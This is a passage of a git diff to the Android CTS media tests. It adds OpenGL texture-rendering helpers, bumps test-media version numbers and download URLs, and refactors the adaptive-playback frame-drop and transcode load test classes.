+            while (!mFrameAvailable) {
+                try {
+                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
+                    // stalling the test if it doesn't arrive.
+                    mFrameSyncObject.wait(timeoutMs);
+                    if (!mFrameAvailable) {
+                        return false;
+                    }
+                } catch (InterruptedException ie) {
+                    // shouldn't happen
+                    throw new RuntimeException(ie);
+                }
+            }
+            mFrameAvailable = false;
+        }
+
+        // Latch the data.
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+        return true;
+    }
+
+    /**
+     * Draws the data from SurfaceTexture onto the current EGL surface.
+     */
+    public void drawImage() {
+        mTextureRender.drawFrame(mSurfaceTexture);
+    }
+
+    public void latchImage() {
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+    }
+
+    @Override
+    public void onFrameAvailable(SurfaceTexture st) {
+        if (VERBOSE) Log.d(TAG, "new frame available");
+        synchronized (mFrameSyncObject) {
+            if (mFrameAvailable) {
+                throw new RuntimeException("mFrameAvailable already set, frame could be dropped");
+            }
+            mFrameAvailable = true;
+            mFrameSyncObject.notifyAll();
+        }
+    }
+
+    /**
+     * Checks for EGL errors.
+     */
+    private void checkEglError(String msg) {
+        int error = EGL14.eglGetError();
+        if (error != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/TextureRender.java b/tests/media/src/android/mediav2/cts/TextureRender.java
new file mode 100644
index 0000000..4cda868
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/TextureRender.java
@@ -0,0 +1,302 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.SurfaceTexture;
+import android.opengl.GLES11Ext;
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+import android.util.Log;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+
+/**
+ * Code for rendering a texture onto a surface using OpenGL ES 2.0.
+ */
+class TextureRender {
+    private static final String TAG = "TextureRender";
+
+    private static final int FLOAT_SIZE_BYTES = 4;
+    private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
+    private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
+    private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
+    private final float[] mTriangleVerticesData = {
+            // X, Y, Z, U, V
+            -1.0f, -1.0f, 0.0f, 0.0f, 0.0f,
+             1.0f, -1.0f, 0.0f, 1.0f, 0.0f,
+            -1.0f,  1.0f, 0.0f, 0.0f, 1.0f,
+             1.0f,  1.0f, 0.0f, 1.0f, 1.0f,
+    };
+
+    private FloatBuffer mTriangleVertices;
+
+    private static final String VERTEX_SHADER =
+            "uniform mat4 uMVPMatrix;\n" +
+            "uniform mat4 uSTMatrix;\n" +
+            "attribute vec4 aPosition;\n" +
+            "attribute vec4 aTextureCoord;\n" +
+            "varying vec2 vTextureCoord;\n" +
+            "void main() {\n" +
+            "  gl_Position = uMVPMatrix * aPosition;\n" +
+            "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+            "}\n";
+
+    private static final String FRAGMENT_SHADER =
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "precision mediump float;\n" +      // highp here doesn't seem to matter
+            "varying vec2 vTextureCoord;\n" +
+            "uniform samplerExternalOES sTexture;\n" +
+            "void main() {\n" +
+            "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
+            "}\n";
+
+    private float[] mMVPMatrix = new float[16];
+    private float[] mSTMatrix = new float[16];
+
+    private int mProgram;
+    private int mTextureID;
+    private int muMVPMatrixHandle;
+    private int muSTMatrixHandle;
+    private int maPositionHandle;
+    private int maTextureHandle;
+
+    public TextureRender() {
+        mTriangleVertices = ByteBuffer.allocateDirect(
+            mTriangleVerticesData.length * FLOAT_SIZE_BYTES)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mTriangleVertices.put(mTriangleVerticesData).position(0);
+
+        Matrix.setIdentityM(mSTMatrix, 0);
+    }
+
+    public int getTextureId() {
+        return mTextureID;
+    }
+
+    public void drawFrame(SurfaceTexture st) {
+        checkGlError("onDrawFrame start");
+        st.getTransformMatrix(mSTMatrix);
+
+        GLES20.glClearColor(0.0f, 1.0f, 0.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
+
+        GLES20.glUseProgram(mProgram);
+        checkGlError("glUseProgram");
+
+        GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
+
+        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
+        GLES20.glVertexAttribPointer(maPositionHandle, 3, GLES20.GL_FLOAT, false,
+            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+        checkGlError("glVertexAttribPointer maPosition");
+        GLES20.glEnableVertexAttribArray(maPositionHandle);
+        checkGlError("glEnableVertexAttribArray maPositionHandle");
+
+        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
+        GLES20.glVertexAttribPointer(maTextureHandle, 2, GLES20.GL_FLOAT, false,
+            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
+        checkGlError("glVertexAttribPointer maTextureHandle");
+        GLES20.glEnableVertexAttribArray(maTextureHandle);
+        checkGlError("glEnableVertexAttribArray maTextureHandle");
+
+        Matrix.setIdentityM(mMVPMatrix, 0);
+        GLES20.glUniformMatrix4fv(muMVPMatrixHandle, 1, false, mMVPMatrix, 0);
+        GLES20.glUniformMatrix4fv(muSTMatrixHandle, 1, false, mSTMatrix, 0);
+
+        GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
+        checkGlError("glDrawArrays");
+        GLES20.glFinish();
+    }
+
+    /**
+     * Initializes GL state.  Call this after the EGL surface has been created and made current.
+     */
+    public void surfaceCreated() {
+        mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+        if (mProgram == 0) {
+            throw new RuntimeException("failed creating program");
+        }
+        maPositionHandle = GLES20.glGetAttribLocation(mProgram, "aPosition");
+        checkGlError("glGetAttribLocation aPosition");
+        if (maPositionHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for aPosition");
+        }
+        maTextureHandle = GLES20.glGetAttribLocation(mProgram, "aTextureCoord");
+        checkGlError("glGetAttribLocation aTextureCoord");
+        if (maTextureHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for aTextureCoord");
+        }
+
+        muMVPMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uMVPMatrix");
+        checkGlError("glGetUniformLocation uMVPMatrix");
+        if (muMVPMatrixHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for uMVPMatrix");
+        }
+
+        muSTMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uSTMatrix");
+        checkGlError("glGetUniformLocation uSTMatrix");
+        if (muSTMatrixHandle == -1) {
+            throw new RuntimeException("Could not get attrib location for uSTMatrix");
+        }
+
+
+        int[] textures = new int[1];
+        GLES20.glGenTextures(1, textures, 0);
+
+        mTextureID = textures[0];
+        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
+        checkGlError("glBindTexture mTextureID");
+
+        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MIN_FILTER,
+                GLES20.GL_NEAREST);
+        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MAG_FILTER,
+                GLES20.GL_LINEAR);
+        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
+                GLES20.GL_CLAMP_TO_EDGE);
+        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
+                GLES20.GL_CLAMP_TO_EDGE);
+        checkGlError("glTexParameter");
+    }
+
+    /**
+     * Replaces the fragment shader.
+     */
+    public void changeFragmentShader(String fragmentShader) {
+        GLES20.glDeleteProgram(mProgram);
+        mProgram = createProgram(VERTEX_SHADER, fragmentShader);
+        if (mProgram == 0) {
+            throw new RuntimeException("failed creating program");
+        }
+    }
+
+    private int loadShader(int shaderType, String source) {
+        int shader = GLES20.glCreateShader(shaderType);
+        checkGlError("glCreateShader type=" + shaderType);
+        GLES20.glShaderSource(shader, source);
+        GLES20.glCompileShader(shader);
+        int[] compiled = new int[1];
+        GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
+        if (compiled[0] == 0) {
+            Log.e(TAG, "Could not compile shader " + shaderType + ":");
+            Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
+            GLES20.glDeleteShader(shader);
+            shader = 0;
+        }
+        return shader;
+    }
+
+    private int createProgram(String vertexSource, String fragmentSource) {
+        int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
+        if (vertexShader == 0) {
+            return 0;
+        }
+        int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
+        if (pixelShader == 0) {
+            return 0;
+        }
+
+        int program = GLES20.glCreateProgram();
+        checkGlError("glCreateProgram");
+        if (program != 0) {
+            GLES20.glAttachShader(program, vertexShader);
+            checkGlError("glAttachShader");
+            GLES20.glAttachShader(program, pixelShader);
+            checkGlError("glAttachShader");
+            GLES20.glLinkProgram(program);
+            int[] linkStatus = new int[1];
+            GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
+            if (linkStatus[0] != GLES20.GL_TRUE) {
+                Log.e(TAG, "Could not link program: ");
+                Log.e(TAG, GLES20.glGetProgramInfoLog(program));
+                GLES20.glDeleteProgram(program);
+                program = 0;
+            }
+        } else {
+            Log.e(TAG, "Could not create program");
+        }
+
+        return program;
+    }
+
+    public void checkGlError(String op) {
+        int error;
+        while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+            Log.e(TAG, op + ": glError " + error);
+            throw new RuntimeException(op + ": glError " + error);
+        }
+    }
+
+    /**
+     * Saves the current frame to disk as a PNG image.  Frame starts from (0,0).
+     * <p>
+     * Useful for debugging.
+     */
+    public static void saveFrame(String filename, int width, int height) {
+        // glReadPixels gives us a ByteBuffer filled with what is essentially big-endian RGBA
+        // data (i.e. a byte of red, followed by a byte of green...).  We need an int[] filled
+        // with native-order ARGB data to feed to Bitmap.
+        //
+        // If we implement this as a series of buf.get() calls, we can spend 2.5 seconds just
+        // copying data around for a 720p frame.  It's better to do a bulk get() and then
+        // rearrange the data in memory.  (For comparison, the PNG compress takes about 500ms
+        // for a trivial frame.)
+        //
+        // So... we set the ByteBuffer to little-endian, which should turn the bulk IntBuffer
+        // get() into a straight memcpy on most Android devices.  Our ints will hold ABGR data.
+        // Swapping B and R gives us ARGB.  We need about 30ms for the bulk get(), and another
+        // 270ms for the color swap.
+        //
+        // Making this even more interesting is the upside-down nature of GL, which means we
+        // flip the image vertically here.
+
+        ByteBuffer buf = ByteBuffer.allocateDirect(width * height * 4);
+        buf.order(ByteOrder.LITTLE_ENDIAN);
+        GLES20.glReadPixels(0, 0, width, height, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, buf);
+        buf.rewind();
+
+        int pixelCount = width * height;
+        int[] colors = new int[pixelCount];
+        buf.asIntBuffer().get(colors);
+        for (int i = 0; i < pixelCount; i++) {
+            int c = colors[i];
+            colors[i] = (c & 0xff00ff00) | ((c & 0x00ff0000) >> 16) | ((c & 0x000000ff) << 16);
+        }
+
+        FileOutputStream fos = null;
+        try {
+            fos = new FileOutputStream(filename);
+            Bitmap bmp = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
+            bmp.compress(Bitmap.CompressFormat.PNG, 90, fos);
+            bmp.recycle();
+        } catch (IOException ioe) {
+            throw new RuntimeException("Failed to write file " + filename, ioe);
+        } finally {
+            try {
+                if (fos != null) fos.close();
+            } catch (IOException ioe2) {
+                throw new RuntimeException("Failed to close file " + filename, ioe2);
+            }
+        }
+        Log.d(TAG, "Saved " + width + "x" + height + " frame as '" + filename + "'");
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 5d23fdf..9490d69 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-1.12/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.13/");
         }
     }
 }
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index 1303ba9..904368d 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.0" />
+        <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.1" />
         <option name="dynamic-config-module" value="CtsMediaPerformanceClassTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/mediapc/DynamicConfig.xml b/tests/mediapc/DynamicConfig.xml
index 73348b4..973305e 100644
--- a/tests/mediapc/DynamicConfig.xml
+++ b/tests/mediapc/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.0.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.1.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/mediapc/README.md b/tests/mediapc/README.md
index d1d8a21..1cb0ec5 100644
--- a/tests/mediapc/README.md
+++ b/tests/mediapc/README.md
@@ -1,7 +1,7 @@
 ## Media Performance Class CTS Tests
 Current folder comprises of files necessary for testing media performance class.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.0.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.1.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 ### Commands
 ```sh
diff --git a/tests/mediapc/copy_media.sh b/tests/mediapc/copy_media.sh
index 95919a5..20437d1 100644
--- a/tests/mediapc/copy_media.sh
+++ b/tests/mediapc/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install media performance class test files manually
 
 adbOptions=" "
-resLabel=CtsMediaPerformanceClassTestCases-1.0
+resLabel=CtsMediaPerformanceClassTestCases-1.1
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
index 495eae1..8c735d9 100644
--- a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
@@ -16,10 +16,7 @@
 
 package android.mediapc.cts;
 
-import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
 
@@ -27,11 +24,14 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
-import java.util.ArrayList;
 import java.util.Collection;
 
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class validates the frame drops of AdaptivePlayback for the hardware decoders
+ * under the load condition (Transcode + Audio Playback).
+ */
 @RunWith(Parameterized.class)
 public class AdaptivePlaybackFrameDropTest extends FrameDropTestBase {
     private static final String LOG_TAG = AdaptivePlaybackFrameDropTest.class.getSimpleName();
@@ -40,45 +40,31 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    // Returns the list of parameters with mimeTypes and their hardware decoders supporting the
+    // AdaptivePlayback feature combining with sync and async modes.
+    // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
         return prepareArgumentsList(new String[]{
                 MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback});
     }
 
+    /**
+     * This test validates that the Adaptive Playback of 1920x1080 and 960x540 resolution
+     * assets of 3 seconds duration each at 60 fps for S perf class / 30 fps for R perf class,
+     * playing alternatively, for at least 30 seconds worth of frames or for 31 seconds of elapsed
+     * time, must not drop more than 6 frames for S perf class / 3 frames for R perf class.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptivePlaybackFrameDrop() throws Exception {
-        for (int i = 0; i < 5; i++) {
-            AdaptivePlayback adaptivePlayback = new AdaptivePlayback(mMime,
-                    new String[]{m1080pTestFiles.get(mMime), m540pTestFiles.get(mMime),
-                            m1080pTestFiles.get(mMime)},
-                    mDecoderName, mSurface, mIsAsync);
-            adaptivePlayback.doAdaptivePlaybackAndCalculateFrameDrop();
-        }
-    }
-}
-
-class AdaptivePlayback extends DecodeExtractedSamplesTestBase {
-    private final String mDecoderName;
-
-    AdaptivePlayback(String mime, String[] testFiles, String decoderName, Surface surface,
-            boolean isAsync) {
-        super(mime, testFiles, surface, isAsync);
-        mDecoderName = decoderName;
-    }
-
-    public void doAdaptivePlaybackAndCalculateFrameDrop() throws Exception {
-        ArrayList<MediaFormat> formats = setUpSourceFiles();
-        mCodec = MediaCodec.createByCodecName(mDecoderName);
-        configureCodec(formats.get(0), mIsAsync, false, false);
-        mCodec.start();
-        doWork(mBuff, mBufferInfos);
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        assertTrue("FrameDrop count for mime: " + mMime + " decoder: " + mDecoderName +
-                " is not as expected. act/exp: " + mFrameDropCount + "/0", mFrameDropCount == 0);
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
+                new String[]{m1080pTestFiles.get(mMime), m540pTestFiles.get(mMime)},
+                mSurface, FRAME_RATE, mIsAsync);
+        int frameDropCount = playbackFrameDrop.getFrameDropCount();
+        assertTrue("Adaptive Playback FrameDrop count for mime: " + mMime + ", decoder: " +
+                mDecoderName + ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: " +
+                frameDropCount + "/" + MAX_FRAME_DROP_FOR_30S,
+                frameDropCount <= MAX_FRAME_DROP_FOR_30S);
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/AudioPlaybackLoad.java b/tests/mediapc/src/android/mediapc/cts/AudioPlaybackLoad.java
index bc9cc22..6ae6966 100644
--- a/tests/mediapc/src/android/mediapc/cts/AudioPlaybackLoad.java
+++ b/tests/mediapc/src/android/mediapc/cts/AudioPlaybackLoad.java
@@ -25,6 +25,10 @@
 
 import java.nio.ByteBuffer;
 
+/**
+ * The following class decode and render the audio (will be audible), until loadStatus is finished.
+ * If input reaches eos, it will rewind the input to start position.
+ */
 class AudioPlaybackLoad extends CodecDecoderTestBase {
     private final String mDecoderName;
     private final LoadStatus mLoadStatus;
@@ -94,9 +98,10 @@
         return -1;
     }
 
+    // Enqueue input to decoder until loadStatus is finished or unexpected eos is seen.
     @Override
     void enqueueInput(int bufferIndex) {
-        if (mExtractor.getSampleSize() < 0) {
+        if (mExtractor.getSampleSize() < 0 || mLoadStatus.isLoadFinished()) {
             enqueueEOS(bufferIndex);
         } else {
             ByteBuffer inputBuffer = mCodec.getInputBuffer(bufferIndex);
@@ -112,7 +117,8 @@
             if (size > 0 && (codecFlags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
                 mInputCount++;
             }
-            if (!mExtractor.advance() && !mLoadStatus.isLoadFinished()) {
+            // If eos is reached, seek to start position.
+            if (!mExtractor.advance()) {
                 mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 mBasePts = mMaxPts + 1000000L;
             }
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index 5aad0bd..ecc8c3a 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -435,17 +435,6 @@
         return null;
     }
 
-    void enqueueInput(int bufferIndex, ByteBuffer buffer, MediaCodec.BufferInfo info) {
-        ByteBuffer inputBuffer = mCodec.getInputBuffer(bufferIndex);
-        inputBuffer.put(buffer.array(), info.offset, info.size);
-        mCodec.queueInputBuffer(bufferIndex, 0, info.size, info.presentationTimeUs,
-                info.flags);
-        if (info.size > 0 && ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) &&
-                ((info.flags & MediaCodec.BUFFER_FLAG_PARTIAL_FRAME) == 0)) {
-            mInputCount++;
-        }
-    }
-
     void enqueueInput(int bufferIndex) {
         if (mExtractor.getSampleSize() < 0) {
             enqueueEOS(bufferIndex);
@@ -478,44 +467,6 @@
         }
         mCodec.releaseOutputBuffer(bufferIndex, false);
     }
-
-    void doWork(ByteBuffer buffer, ArrayList<MediaCodec.BufferInfo> list)
-            throws InterruptedException {
-        int frameCount = 0;
-        if (mIsCodecInAsyncMode) {
-            // output processing after queuing EOS is done in waitForAllOutputs()
-            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS && frameCount < list.size()) {
-                Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
-                if (element != null) {
-                    int bufferID = element.first;
-                    MediaCodec.BufferInfo info = element.second;
-                    if (info != null) {
-                        dequeueOutput(bufferID, info);
-                    } else {
-                        enqueueInput(bufferID, buffer, list.get(frameCount));
-                        frameCount++;
-                    }
-                }
-            }
-        } else {
-            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-            // output processing after queuing EOS is done in waitForAllOutputs()
-            while (!mSawInputEOS && frameCount < list.size()) {
-                int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
-                if (outputBufferId >= 0) {
-                    dequeueOutput(outputBufferId, outInfo);
-                } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    mOutFormat = mCodec.getOutputFormat();
-                    mSignalledOutFormatChanged = true;
-                }
-                int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                if (inputBufferId != -1) {
-                    enqueueInput(inputBufferId, buffer, list.get(frameCount));
-                    frameCount++;
-                }
-            }
-        }
-    }
 }
 
 class CodecEncoderTestBase extends CodecTestBase {
@@ -710,6 +661,10 @@
     }
 }
 
+/**
+ * The following class decodes the given testFile using decoder created by the given decoderName
+ * in surface mode(uses PersistentInputSurface) and returns the achieved fps for decoding.
+ */
 class Decode extends CodecDecoderTestBase implements Callable<Double> {
     private static final String LOG_TAG = Decode.class.getSimpleName();
 
@@ -749,6 +704,10 @@
     }
 }
 
+/**
+ * The following class decodes the given testFile using decoder created by the given decoderName
+ * in surface mode(uses given valid surface) and render the output to surface.
+ */
 class DecodeToSurface extends Decode {
 
     DecodeToSurface(String mime, String testFile, String decoderName, Surface surface,
@@ -768,6 +727,10 @@
     }
 }
 
+/**
+ * The following class encodes a YUV video file to a given mimeType using encoder created by the
+ * given encoderName and configuring to 720p 30fps format.
+ */
 class Encode extends CodecEncoderTestBase implements Callable<Double> {
     private static final String LOG_TAG = Encode.class.getSimpleName();
 
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
index b0c6da2..6cfff7d 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
@@ -83,10 +83,9 @@
             String mime = format.getString(MediaFormat.KEY_MIME);
             if (mime.startsWith("video/")) {
                 mExtractor.selectTrack(trackID);
-                // COLOR_FormatYUV420Flexible by default should be supported by all components
-                // This call shouldn't effect configure() call for any codec
                 format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+                format.setInteger(MediaFormat.KEY_PRIORITY, 1); // Best effort
                 return format;
             }
         }
@@ -173,10 +172,8 @@
         if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
             mSawEncOutputEOS = true;
         }
-        if (info.size > 0) {
-            if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                mEncOutputCount++;
-            }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mEncOutputCount++;
         }
         mEncoder.releaseOutputBuffer(bufferIndex, false);
     }
@@ -350,10 +347,15 @@
         encoderFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
                 MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
         encoderFormat.setInteger(MediaFormat.KEY_MAX_B_FRAMES, mMaxBFrames);
+        encoderFormat.setInteger(MediaFormat.KEY_PRIORITY,
+                decoderFormat.getInteger(MediaFormat.KEY_PRIORITY));
         return encoderFormat;
     }
 }
 
+/**
+ * The following class transcodes the given testFile and returns the achieved fps for transcoding.
+ */
 class Transcode extends CodecTranscoderTestBase implements Callable<Double> {
     private static final String LOG_TAG = Transcode.class.getSimpleName();
 
@@ -401,6 +403,10 @@
     }
 }
 
+/**
+ * The following class transcodes the given testFile until loadStatus is finished.
+ * If input reaches eos, it will rewind the input to start position.
+ */
 class TranscodeLoad extends Transcode {
     private final LoadStatus mLoadStatus;
 
@@ -435,7 +441,7 @@
 
     @Override
     void enqueueDecoderInput(int bufferIndex) {
-        if (mExtractor.getSampleSize() < 0) {
+        if (mExtractor.getSampleSize() < 0 || mLoadStatus.isLoadFinished()) {
             enqueueDecoderEOS(bufferIndex);
         } else {
             ByteBuffer inputBuffer = mDecoder.getInputBuffer(bufferIndex);
@@ -451,7 +457,8 @@
             if (size > 0 && (codecFlags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
                 mDecInputCount++;
             }
-            if (!mExtractor.advance() && !mLoadStatus.isLoadFinished()) {
+            // If eos is reached, seek to start position.
+            if (!mExtractor.advance()) {
                 mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 mBasePts = mMaxPts + 1000000L;
             }
@@ -459,6 +466,9 @@
     }
 }
 
+/**
+ * The following class tells the status of the load whether it is finished or not.
+ */
 class LoadStatus {
     private boolean mLoadFinished;
 
diff --git a/tests/mediapc/src/android/mediapc/cts/DecodeExtractedSamplesTestBase.java b/tests/mediapc/src/android/mediapc/cts/DecodeExtractedSamplesTestBase.java
deleted file mode 100644
index f47152e..0000000
--- a/tests/mediapc/src/android/mediapc/cts/DecodeExtractedSamplesTestBase.java
+++ /dev/null
@@ -1,152 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.view.Surface;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-
-public class DecodeExtractedSamplesTestBase extends CodecDecoderTestBase {
-    private static final long EACH_FRAME_TIME_INTERVAL_US = 1000000 / 60;
-
-    final String[] mTestFiles;
-    final boolean mIsAsync;
-
-    long mFrameDropCount;
-    ByteBuffer mBuff;
-    ArrayList<MediaCodec.BufferInfo> mBufferInfos;
-
-    private long mMaxPtsUs;
-    private long mRenderStartTimeUs;
-
-    DecodeExtractedSamplesTestBase(String mime, String[] testFiles, Surface surface,
-            boolean isAsync) {
-        super(mime, null);
-        mTestFiles = testFiles;
-        mSurface = surface;
-        mIsAsync = isAsync;
